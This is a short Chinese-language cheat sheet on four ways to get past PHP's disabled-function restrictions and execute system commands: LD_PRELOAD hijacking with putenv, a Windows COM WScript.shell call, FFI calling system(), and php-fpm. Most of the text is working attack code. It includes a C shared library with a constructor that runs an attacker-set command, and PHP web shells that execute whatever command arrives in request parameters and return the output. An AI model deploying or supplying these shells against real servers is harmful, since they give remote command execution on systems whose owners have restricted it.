1.LD_PRELOAD & putenv()

使用条件:putenv函数未被禁用

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。

php中的某些函数调用了动态链接库,可以通过修改LD_PRELOAD劫持共享库的函数,使php调用自己的函数

attribute ((constructor))会使函数在main()函数之前被执行,无需指定劫持具体函数,加载so以后立刻执行

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
//__attribute__ ((constructor))会使函数在main()函数之前被执行
//__attribute__ ((destructor))会使函数在main()退出后执行

__attribute__ ((__constructor__)) void myfunc() {
	const char* cmdline = getenv("EVIL_CMDLINE");
	if (getenv("LD_PRELOAD") == NULL) { return 0; }
	unsetenv("LD_PRELOAD");
	system(cmdline);
}

int main(){
	return 0;
}

触发函数:libvirt_connect,imap_mail,mail,new imagick() .......

<?php
    $cmd = $_REQUEST["cmd"];
    $out_path = $_REQUEST["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_REQUEST["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");//触发函数可以换很多个
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";  
?>

2.Windows COM

使用条件:com.allow_dcom = true

<?php
$cmd= $_GET['cmd'];
$wsh = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wsh->exec("cmd /c".$cmd);
$stdout = $exec->StdOut();
$output = $stdout->ReadAll();
echo $output;
?>

3.FFI

使用条件:PHP版本>7.4 , FFI调用c代码

<?php

$ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("echo 111");       
?>

4.php-fpm

使用条件:php-fpm

大佬的exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75